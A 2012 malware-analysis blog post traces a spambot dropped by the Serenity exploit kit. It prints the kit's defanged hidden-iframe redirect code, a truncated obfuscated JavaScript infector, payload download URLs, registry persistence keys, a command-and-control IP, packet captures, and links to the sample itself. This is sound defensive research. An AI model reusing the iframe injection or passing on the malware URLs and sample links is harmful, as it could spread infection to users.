Saturday, November 17, 2012

What Serenity Exploit Kit dropped? A Spambot Full Analysis & Samples

We ran into the bunch of url as per hinted by ‏our friend→ @abhinavbom (with Thanks!)
accountpro001.ru/flow08.php
accountpro002.ru/flow08.php
accountpro003.ru/flow08.php
accountpro004.ru/flow08.php
accountpro005.ru/flow08.php
accountpro006.ru/flow08.php
accountpro007.ru/flow08.php
accountpro007.ru/flow4.php
accountpro008.ru/flow08.php
azbuka001.pro/flow08.php
azbuka002.pro/flow08.php
azbuka003.pro/flow08.php
azbuka004.pro/flow08.php
azbuka005.pro/flow08.php
azbuka006.pro/flow08.php
azbuka007.pro/flow08.php
azbuka008.pro/flow08.php
promoution170.ru/flow08.php
promoution208.ru/flow08.php
promoution209.ru/flow08.php
promoution210.ru/flow08.php
promoution212.ru/flow08.php
promoution213.ru/flow08.php
promoution214.ru/flow08.php
promoution215.ru/flow08.php
promoution216.ru/flow08.php
promoution219.ru/flow08.php
www.accountpro003.ru/flow08.php
www.accountpro004.ru/flow08.php
www.accountpro007.ru/flow08.php 
Which lead us to the infector urls provided by Serenity Exploit Kit, you can see the explanation of Serenity here --->>[HERE] (Thanks to @Xylit0l) We made investigation of the malware dropped by these urls as per announced in our twitter below with result in txt report here: -->>[HERE] You can see the details of investigation in the dropbox url above and we will review the important point only in this blog post. The scheme of infection is by multiple IFRAME opened by each front url, like flow08.php has about 7(seven) iframe code which meant to redirect you to infector. As per below hexed code:
<iframe src="h00p://azbuka007・pro/flow1.php" width="3" height="3" frameborder="0"></iframe>
<iframe src="h00p://azbuka007・pro/flow2.php" width="3" height="3" frameborder="0"></iframe>
<iframe src="h00p://azbuka007・pro/flow3.php" width="3" height="3" frameborder="0"></iframe>
<iframe src="h00p://azbuka007・pro/flow4.php" width="3" height="3" frameborder="0"></iframe>
<iframe src="h00p://azbuka007・pro/flow5.php" width="3" height="3" frameborder="0"></iframe>
<iframe src="h00p://azbuka007・pro/flow6.php" width="3" height="3" frameborder="0"></iframe>
<iframe src="h00p://azbuka007・pro/flow7.php" width="3" height="3" frameborder="0"></iframe>
↑each IFRAME above will redirect you to below infector↓
h00p://winampgroup.co.uk/k0ff/index.php?s=ag
Which conatins the obfuscated JavaScript like per hexed code below:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN'               
<script language='Javascript'>eval(function(p,a,c,k,e,d){e=function(c..
\10\\Q\\1e\\R\\Y\\V\\17+/\\U\',J:C(8){7 5=\'\';7 x,v,y;7 w,q,f,s;7 i=0;..
t.J(u)},M:C(e){7 l=\'\';7 i=0;7 c=0,X=0,k=0,E=0;L(i<e.h){c=e.j(i);r(c<1..
oafdhMx|stxoGt|bvvjiiwja|KbGNual|GugimE|FYBSyrEvgcI|GEWtjFCOO|||str|fun..
90170177131203221200143216237189152211217178178164170167130237226190144..
51891601972371881511781951991441822281871871992131991222012311631642372..
13023722618918116517218814817021819915922423817816819016419014418222718..
02237178131203220180140197241163168237218199159224238178168190226199181..
61751562321771901682212211981811982381882011742271981812362381771672021..
16821121718015519022918516724121719919317323518613019121617612219423818..
20168188152186163176193173171185167173225189159165239187201174217200155..
11991811931771611892112211981432022421641302412271891591972381861512292..
u0056W|u0046GHIJKLMN|224|u004fPQR|u0053TU|128|u0065fghij'.split('|'),0,..
</script></body></html>
If you decode this right it will lead you to the 3(three) malware file links:
winampgroup.co.uk/files/load/combo.jar
win-amps.eu/k0ff/get.php?f=6
winampgroup.co.uk/files/load/libt.php
When I was fetching these urls, get.php?f=6 was only the one that I can fetched, (again, see the text report in the dropbox above for the details) which downloaded you a PE binary file, as per below:
$ bitcat get.php

0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ..............
0010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......
0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0030   00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00    ................
0040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68    ........!..L.!Th
0050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F    is program canno
0060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20    t be run in DOS
0070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00    mode....$.......
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0090   42 06 41 68 53 0A 4E 68 42 06 11 68 02 0A 4E 68    B.AhS.NhB..h..Nh
00A0   54 02 13 68 45 0A 4E 68 C4 02 13 68 44 0A 4E 68    T..hE.Nh...hD.Nh
00B0   47 0A 4F 68 0C 0A 4E 68 42 06 2E 68 43 0A 4E 68    G.Oh..NhB..hC.Nh
00C0   AB 01 10 68 46 0A 4E 68 42 06 14 68 46 0A 4E 68    ...hF.NhB..hF.Nh
00D0   52 69 63 68 47 0A 4E 68 00 00 00 00 00 00 00 00    RichG.Nh........
00E0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00F0   50 45 00 00 4C 01 04 00 6D 1C A5 50 00 00 00 00    PE..L...m..P....
0100   00 00 00 00 E0 00 0F 01 0B 01 07 0A 00 50 00 00    .............P..

PE Image Base : 0x400000
Entry Point: 0x1186
Compile Time: 0x50A51C6D [Thu Nov 15 16:46:37 2012 UTC]
CRC Fail! Claimed: 47607, Actual:  197000
Packer: Armadillo v2.xx (CopyMem II) - additional
Compiler: Microsoft Visual C++ 7.0 MFC
// ↑Traces...
// push    12010h
// push    offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
// push    esi

Sections:
   .text 0x1000 0x4da4 20480
   .rdata 0x6000 0x16de 8192
   .data 0x8000 0x1258 4096
   .rsrc 0xa000 0x1f0 4096  <==== packed
We quick checked for threat information about this file and found ourself dissapointed by seeing only unsatisfactory result:
File get.php with MD5 268bece218187c189c2322d6f7d21efb :
DrWeb                    : Trojan.Spambot.11176
Symantec                 : WS.Reputation.1
Kaspersky                : UDS:DangerousObject.Multi.Generic
So with a bit reversing skill we decided to surgery this malware file by ourself, which ended to many malicious traces below..... (again, see the text report in the dropbox above for the details)

Binary Analysis

It looks packed with Armadillo (see the comment below for this detection/judgement). Also the usage of crypter traces is detected in the binary. So, for the better analysis purpose, be sure to unpack it first. @Xylit0l is kind to provide a video for manual analysis and unpacking w/OllyDbg + PUPE below (enlarge it to see the details) After reversing some codes you'll find the dangerous operations below:
push    offset PathName ; lpFilename
push    0               ; lpModuleName
call    ds:GetModuleHandleA
push    eax             ; hModule
call    ds:GetModuleFileNameA
push    1036640h        ; dwBytes
push    0               ; dwFlags
   :
LPSTR GetCommandLineA(void)
     extrn GetCommandLineA:dword ; DATA XREF: start:loc_40128B
   :
.idata:00406038 ; BOOL __stdcall 
                 WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,
                 LPOVERLAPPED lpOverlapped)
.idata:00406038  extrn WriteFile:dword   ; DATA XREF: __NMSG_WRITE+155
   :
; Microsoft VisualC 2-8/net runtime
; Attributes: library function
unknown_libname_1 proc near
arg_0= dword ptr  4
push    offset ModuleName ; "mscoree.dll"
call    ds:GetModuleHandleA
test    eax, eax
jz      short loc_401380
It was enough to tell us that it writes file, it executes foreign code, and it shows serious internet activities.

Behavior analysis

The next step is to test it, we did it as per below steps.. We just run it... The sample was self deleted saved into different location + it runs evil SVCHOST: Well let's see what this SVCHOST does, by monitoring its activity. Windows task manager provided enough facilities for this purpose: ↑you can see so many SMTP connections made by this binary. Then what exactly these SMTP connection does? What malicious act? We captured everything with reghot, wireshark & memory dump inside the testPC, outside the box w/tcpdump to study this malware malicious acts.

What's the malware's malicious file operation?

Malware file is self deleted & move itself to here:
C:\Documents and Settings\rik\jjsrdpce.exe
Drops some temp files here:
C:\DOCUME~1\...\LOCALS~1\Temp\0706.bat
C:\DOCUME~1\...\LOCALS~1\Temp\3366.bat
C:\DOCUME~1\...\LOCALS~1\Temp\8160.bat
C:\DOCUME~1\...\LOCALS~1\Temp\6783.bat
C:\DOCUME~1\...\LOCALS~1\Temp\7686.bat
C:\DOCUME~1\...\LOCALS~1\Temp\1438.bat

What this binary had done in registry?

A malware autorun component registered as per below:
HKU\S-1-5-21-1214440339-926492609-1644491937-1003\
Software\Microsoft\Windows\CurrentVersion\Run\MSConfig: 
""C:\Documents and Settings\rik\jjsrdpce.exe""
A huge ASCII binary data was saved in registry at below record...
HKLM\SOFTWARE\Microsoft\DeviceControl\DevData: C3 6A 05 ..
 74 D9 4E 39 85 63 D5 B1 2A 97 64 D7 89 25 BF 5B F5 91 2..
12 EB 03 9D 39 E2 57 31 8B 0E ED 40 3F 9A 74 D3 53 26 8B..
3 EF 89 25 BF EC 9C 91 2B C7 13 9A E3 41 B4 01 61 F8 5D ..
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FD E4 41 BB 36 77 F6 54 B0 6F 26 94 76 ED 46 27 9B 7E D7..
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45 AE 13 88 EB 5F E6 36 5A B6 64 8A 7B 4E 87 70 D7 DF 6D..
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BD 57 F3 CD 29 C3 1F D7 F1 4E BF 04 01 9B 37 05 6A 07 A3..
3 DF 79 15 AF 4B E5 81 1B B7 51 ED 87 23 BD 59 F3 8F 29 ..
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     :                                  :
B7 30 F1 F6 58 E5 08 6C FC 5F B2 43 67 C6 11 AC 06 05 C8.. 
8 8E F3 7E DB 36 9E E6 45 DC 38 87 EA 05 AA 13 9C 9D 52 5..
 05 40 A8 3F F4 59 2F E2 45 E1 7B 17 B6 4D E7 83 38 EB 1 ..
AA D8 64 97 25 F1 B2 63 83 23 5C CA 76 81 2B 29 80 6D 95..
2 59 F4 1F B8 CF 52 FE 1A A1 B8 25 BF 5B 13 EE 7C A8 AE 7..
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25 BF 3D D1 A9 D7 8D 61 FD 97 33 40 4E 03 9C 39 D5 6F 4F2..
6 60 E1 7E 17 B3 4D BA C2 79 DF 3A 9D EF 44 A3 37 92 B1 E..
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55 EF FB 56 AC 2F 87 CE 59 A6 10 96 99 33 CF 69 05 9F C1..
B 77 11 AC 47 E3 7D 5B FF 0E A7 CE 1F FE 75 C0 AB 11 F1 ..

What networking / what kind of spam activities?

Malware grabs your IP & gateway hostname, by reversing your IP ARPA record, and then ask every MX record possibilities of every possible subdomains:
24  256.711421  TestPC  8.8.8.8  DNS  Standard query PTR 105.83.110.xxx.in-addr.arpa
25  256.850845  8.8.8.8  TestPC  DNS  Standard query response PTR p6e5369.sitmnt01.ap.MyDomain
429  270.887803  TestPC  8.8.8.8  DNS  Standard query A smtp.p6e5369.sitmnt01.ap.MyDomain
431  270.966472  TestPC  8.8.8.8  DNS  Standard query A mail.p6e5369.sitmnt01.ap.MyDomain
435  271.254438  TestPC  8.8.8.8  DNS  Standard query A sitmnt01.ap.MyDomain
437  271.332410  TestPC  8.8.8.8  DNS  Standard query A smtp.sitmnt01.ap.MyDomain
439  271.410546  TestPC  8.8.8.8  DNS  Standard query A mail.sitmnt01.ap.MyDomain
441  271.489836  TestPC  8.8.8.8  DNS  Standard query MX sitmnt01.ap.MyDomain
443  271.571450  TestPC  8.8.8.8  DNS  Standard query A ap.MyDomain
451  273.886911  TestPC  8.8.8.8  DNS  Standard query A smtp.ap.MyDomain
453  273.974856  TestPC  8.8.8.8  DNS  Standard query A mail.ap.MyDomain
455  274.052129  TestPC  8.8.8.8  DNS  Standard query MX ap.MyDomain
456  274.148586  8.8.8.8 TestPC  DNS  Standard query response MX 100 mailgate.MyDomain
457  274.149148  TestPC  8.8.8.8  DNS  Standard query A mailgate.MyDomain
Then, it searched for microsoft.com's, yahoo.com's, google.com's & mailru's MX info.
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000002C0  72 6f 73 6f 66 74 03 63  6f 6d 00 00 0f 00 01    rosoft.c om.....

000002CF  61 15 01 00 00 01 00 00  00 00 00 00 04 6d 61 69 a....... .....mai
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00000344  fb ec 01 00 00 01 00 00  00 00 00 00 04 6d 74 61 ........ .....mta
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00000364  65 74 00 00 01 00 01                             et.....

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00000475  fd 90 01 00 00 01 00 00  00 00 00 00 03 6d 78 73 ........ .....mxs
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in additional it tried to connect to "static.203.81.4 0.188.clients.yo ur-server.de"
000008FA  80 a5 81 80 00 01 00 01  00 00 00 00 03 32 30 33 ........ .....203
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0000095A  72 02 64 65 00                                   r.de.
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0000097F  64 72 04 61 72 70 61 00  00 0c 00 01 c0 0c 00 0c dr.arpa. ........
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000009AF  69 65 6e 74 73 0b 79 6f  75 72 2d 73 65 72 76 65 ients.yo ur-serve
000009BF  72 02 64 65 00                                   r.de.
The next thing is it established connection to 188.40.81.203 via remote-as Test PC←→188.40.81.203 via TCP/2053(remote-as) ⇒36063 Seq=142 Ack=258 Win=16687 Len=1412
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IF the connection established, it gives you download OTHER malicious binary:
// Sending another malware shits via below TCP follows.....
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    0000022A  e3 58 e6 a5 a6 ff ed af  4b 75 86 7f b1 ce 63 f6 .X...... Ku....c.
    0000023A  75 8b 65 39 34 47 18 97  fa ff 95 f9 b2 89 20 b5 u.e94G.. ...... .
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    0000025A  40 87 8f 9c d9 39 f6 97  36 6d 5a 6e 6d 03 49 de @....9.. 6mZnm.I.
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The binary also made you communicate with 188.40.81.203 via SMTP protocol..
// Atempt to establish the SMTP connection from 188.40.81.203 to Infected PC
422   269.987058 188.40.81.203 TestPC TCPsmtp > neod1 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
0000  00 a0 c9 22 b0 ee 00 12  f0 e9 3e 3e 08 00 45 00   ...".... ..>>..E.
0010  00 30 23 30 40 00 80 06  e1 c3 c0 a8 07 54 da 6e   .0#0@... .....T.n
0020  53 69 04 17 00 19 20 e7  9f e9 00 00 00 00 70 02   Si.... . ......p.
0030  40 00 88 4a 00 00 02 04  05 b4 01 01 04 02         @..J.... ......  
The picture of the PCAP analysis (click to enlarge): You can download the PCAP data in the link provided at he bottom of this page :-) ↑If you see all of the previously mentioned captured network traffic, you'll know this malware is a positive spambot. But not only that, it tried to access your PC via TCP/1053 a remote protocol for the remote controls. Thus, as a bonus it sends you additional malicious code. Practically it uses your PC as a remote spam relay traffic, those spam emails will be relayed into your nearest mail server if exist, or will use other mail servers to relay the spam. Evil enough isn't it? (again, see the text report in the dropbox url above for the details)

Malware Detection Reference Analysis

Virus Total is providing you a very good base of detection ratio for the new- malware, to measure the response of the AntiVirus products against new threat. I often use VT as reference for the timely monitoring purpose of malware detection. At the time this sample was detected, VT of the malware binary score was 3/44
MD5: 268bece218187c189c2322d6f7d21efb File size: 146.4 KB ( 149879 bytes ) File name: unixfreaxjp-sample3 File type: Win32 EXE Detection : 3 / 44 Analysisdate: 2012-11-16 14:02:11 UTC ( 0 分 ago ) URL ---->>>>>>>[CLICK]
@Xylit0l was uploading the unpacked binary, which detected with VT: 27 / 44
MD5: 09a18c6e09bb880922e9ed451d6eb6a0 File size: 68.0 KB ( 69632 bytes ) File name: Dumpedfinal_.exe File type: Win32 EXE Tags: peexe Detection: 27 / 44 Analysis date: 2012-11-17 07:13:25 UTC ( 1 時間, 23 分 ago ) URL ---->>>>>>>>[CLICK]
↑But the detection malware names is so confusing, Not one of those mentioned the SpamBot at all↓
MicroWorld-eScan : Gen:Win32.ExplorerHijack.eqX@aWv8eAi
McAfee           : Artemis!09A18C6E09BB
K7AntiVirus      : Trojan-Downloader
F-Prot           : W32/Bloop.A.gen!Eldorado
Symantec         : Infostealer
Norman           : W32/Malware
TotalDefense     : Win32/Tofsee!generic
Kaspersky        : HEUR:Trojan.Win32.Generic
BitDefender      : Gen:Win32.ExplorerHijack.eqX@aWv8eAi
Sophos           : Sus/Behav-169
F-Secure         : Gen:Win32.ExplorerHijack.eqX@aWv8eAi
DrWeb            : Trojan.Spambot.11176
VIPRE            : BehavesLike.Win32.Malware.eah (mx-v)
AntiVir          : TR/Hijacker.Gen
McAfee-GW-Edition: Artemis!09A18C6E09BB
Emsisoft         : Gen:Win32.ExplorerHijack.eqX@aWv8eAi (B)
ESET-NOD32       : a variant of Win32/Agent.OBA
Kingsoft         : Win32.Troj.Undef.(kcloud)
Microsoft        : Backdoor:Win32/Tofsee.F
AhnLab-V3        : Spyware/Win32.Generic
GData            : Gen:Win32.ExplorerHijack.eqX@aWv8eAi
Commtouch        : W32/Bloop.A.gen!Eldorado
ByteHero         : Virus.Win32.Heur.c
PCTools          : Trojan-PSW.Generic!rem
Rising           : Backdoor.Tofsee!2B2B
AVG              : unknown virus Win32/DH{AAkP}
Panda            : Trj/CI.A
We must learn that a malware with 27/44 detection ratio can be packed with crypter into a different binary to get almost zero detection for the infection purpose. [POINT!] I also uploaded obfuscated exploit kit's JavaScript infector to VT, And with no shocky, as per expected, to realize the score was only 0/44:
MD5: 4396ab2186b4358e2698c1665a16298d File size: 5.0 KB ( 5130 bytes ) File name: sample2 File type: HTML Detection: 0 / 44 Analysisdate: 2012-11-17 07:45:09 UTC ( 0 分 ago ) URL ---->>>>>>>>[CLICK]
↑So this is why so many people got infected easily. If we count this infection time well, it was compiled in 15th, and this was started to be exposed it on 16th-17th. Don't you wonder, how many people got infected by this malware within undetected period 2+(two) days?

Resources and samples

For the research and study purpose we decided to share our analysis data, as per written in the below details. Use these data well to analysis this malware - by yourself, and kindly inform us if you find another result by commenting to this - blog. The sample can be downloaded here -->>[CLICK] The unpacked sample (thanks2 @Xylit0l) can be downloaded here -->>[CLICK] The PCAP/Network Traffic can be downloaded here -->>[CLICK] While the full regshot data can be downloaded here -->>[CLICK]

Reference & studies

Anubis sandbox result (not so useful) is here -->>[CLICK] Comodo sandbox result (not so useful) is here -->>>[CLICK]
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